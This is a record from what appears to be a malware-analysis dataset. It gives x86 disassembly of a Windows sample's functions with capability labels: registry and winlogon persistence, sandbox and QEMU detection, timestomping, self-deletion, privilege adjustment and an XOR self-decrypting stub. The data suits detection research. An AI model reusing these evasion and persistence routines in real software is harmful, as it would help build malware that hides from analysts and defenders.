joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - reloc.wtsapi32.dll_WTSEnumerateSessionsA], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401f70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4015f0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4015ef
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push reloc.wtsapi32.dll_WTSQueryUserToken
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a5d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401a5d
test byte [ebp + 8], 2
jne 0x401a5d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a81
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401a81
test byte [ebp + 8], 2
jne 0x401a81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401de0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401e97
lea ecx, [ebp - 4]
push ecx
call fcn.004013c0
mov esi, eax
test esi, esi
je 0x401e97
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401e75
rdtsc
xor dword [0x45904c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45904c], eax
push 0x4045a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401e55
push 0x4045ac
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401e55
push 0x45904c
call eax
mov ecx, dword [0x45904c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004012e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401e97
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401ea0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push 0x40456c
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401f0c
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f0c
test byte [ebp - 8], 2
jne 0x401f0c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401f65
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f65
test byte [ebp + 8], 2
jne 0x401f65
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401fb0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x402048
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x4020ab
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020ab
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x40203f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40203f
test byte [ebp - 4], 2
jne 0x40203f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x402015
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push 0x4045d8
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x40208e
push 0x4045e0
push eax
call edi
test eax, eax
jne 0x4020a1
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x402070
jmp 0x402015
mov edi, 1
jmp 0x402018
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020c0
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4052a0
push 0x403b02
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402187
push 0x404d90
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402187
push 0x404da4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402187
push 0x404db4
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402187
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402187
test esi, esi
je 0x402192
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push 0x404dc0
mov dword [ebp - WTSSetUserConfigA], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402330
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push WTSSetUserConfigA
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402340
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push 0x404de0
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402424
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402430
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402515
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402460
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402480
mov ecx, dword [0x404df8]
mov edx, dword [0x404dfc]
mov dword [eax], ecx
mov ecx, dword [0x404e00]
mov dword [eax + 4], edx
mov edx, dword [0x404e04]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e08]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e0c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4024c4
mov ecx, dword [0x404e10]
mov edx, dword [0x404e14]
mov dword [eax], ecx
mov ecx, dword [0x404e18]
mov dword [eax + 4], edx
mov edx, dword [0x404e1c]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e20]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e24]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402520
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402650
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402552
mov ecx, dword [0x404e28]
mov edx, dword [0x404e2c]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404e30]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404e34]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404e38]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40264f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call section..reloc
push 0x404f1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403920
test eax, eax
je 0x402bb1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004021b0
call fcn.004020c0
push 0
push 0x404dd0
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402be6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402340
call fcn.00402430
call fcn.00402520
call fcn.00402660
mov edi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402c17
call fcn.004033b0
test eax, eax
je 0x402c17
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
push 0x4045b8
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402c50
push 0x4045c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c50
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402ca2
test ebx, ebx
je 0x402c70
push 0x404edc
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402c93
lea esi, [ebp - 0x10c]
call fcn.00401130
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401b70
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402db4
call fcn.004028b0
call fcn.00401520
jmp 0x402db4
test ebx, ebx
je 0x402d59
push 0x404edc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402cfd
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea ecx, [ebp - 1]
push ecx
jmp 0x402d89
call fcn.004028b0
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402d52
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d33
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402d43
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402d52
call fcn.00401b70
call fcn.00401520
jmp 0x402db4
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402da5
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402db4
call fcn.00401b70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push 0x405204
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4038d5
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push 0x405220
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4038db
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x40c], 0x51
jne 0x4038d5
cmp byte [ebp - 0x40b], 0x45
jne 0x4038d5
cmp byte [ebp - 0x40a], 0x4d
jne 0x4038d5
cmp byte [ebp - 0x409], 0x55
jne 0x4038d5
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403920
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], 0
mov ebx, 1
call edi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [ebp - 0x10c]
push 0x405234
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
call fcn.00403870
test eax, eax
jne 0x403ac6
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_CharUpperA]
lea edx, [ebp - 0x210]
push 0x405244
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push 0x40524c
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea ecx, [ebp - 0x210]
push 0x405258
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea edx, [ebp - 0x210]
push 0x405264
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push 0x405270
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
cmp eax, 0xcd1a40
je 0x403ac6
cmp eax, 0x6cbbc508
je 0x403ac6
cmp eax, 0x774e1682
je 0x403ac6
cmp eax, 0x837f873e
je 0x403ac6
cmp eax, 0x8b6f64bc
je 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push 0x405278
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x403ac6
push 0x405284
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
jne 0x403ac6
push 0x405290
lea ecx, [ebp - 0x10c]
push ecx
call esi
test eax, eax
jne 0x403ac6
xor ebx, ebx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx